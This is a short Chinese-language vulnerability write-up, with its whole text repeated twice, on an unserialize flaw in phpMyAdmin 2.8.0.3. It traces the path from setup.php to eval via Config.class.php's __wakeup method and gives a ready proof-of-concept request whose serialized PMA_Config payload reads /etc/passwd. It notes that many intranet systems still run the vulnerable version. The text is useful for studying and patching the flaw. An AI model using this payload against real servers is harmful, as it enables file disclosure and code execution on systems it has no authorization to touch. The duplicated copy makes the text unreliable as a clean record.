## 0x00 概述 phpmyadmin存在漏洞的已知版本为 2.8.0.3 其余版本未知 本次测试的版本为2.8.0.3 许多内网的系统都在用这个版本,外网的也绝非少数!  ## 0x01 漏洞分析 看存在漏洞的文件代码 `/scripts/setup.php`  把传入的`configuration`给反序列化,而这个`setup.php`中引入了`common.lib.php` 来到`common.lib.php`:  `common.lib.php`中引入了`Config.class.php`: 再看看Config.class.php:  继续看load方法:  `Config.class.php`中含有`__wakeup`魔术方法,因此可以构造序列化参数,造成反序列化漏洞 所以整个思路就是: ``` setup.php->common.lib.php->Config.class.php->__wakeup()->load()->eval(); ``` ## 0x02 漏洞利用 PoC: ``` http://127.0.0.1/phpmyadmin2.8/scripts/setup.php configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}&action=test ``` ## 0x03 解决方案 - 用户:升级到官方最新版本 ## 0x04 参考 * http://www.mottoin.com/87915.html
## 0x00 概述 phpmyadmin存在漏洞的已知版本为 2.8.0.3 其余版本未知 本次测试的版本为2.8.0.3 许多内网的系统都在用这个版本,外网的也绝非少数!  ## 0x01 漏洞分析 看存在漏洞的文件代码 `/scripts/setup.php`  把传入的`configuration`给反序列化,而这个`setup.php`中引入了`common.lib.php` 来到`common.lib.php`:  `common.lib.php`中引入了`Config.class.php`: 再看看Config.class.php:  继续看load方法:  `Config.class.php`中含有`__wakeup`魔术方法,因此可以构造序列化参数,造成反序列化漏洞 所以整个思路就是: ``` setup.php->common.lib.php->Config.class.php->__wakeup()->load()->eval(); ``` ## 0x02 漏洞利用 PoC: ``` http://127.0.0.1/phpmyadmin2.8/scripts/setup.php configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}&action=test ``` ## 0x03 解决方案 - 用户:升级到官方最新版本 ## 0x04 参考 * http://www.mottoin.com/87915.html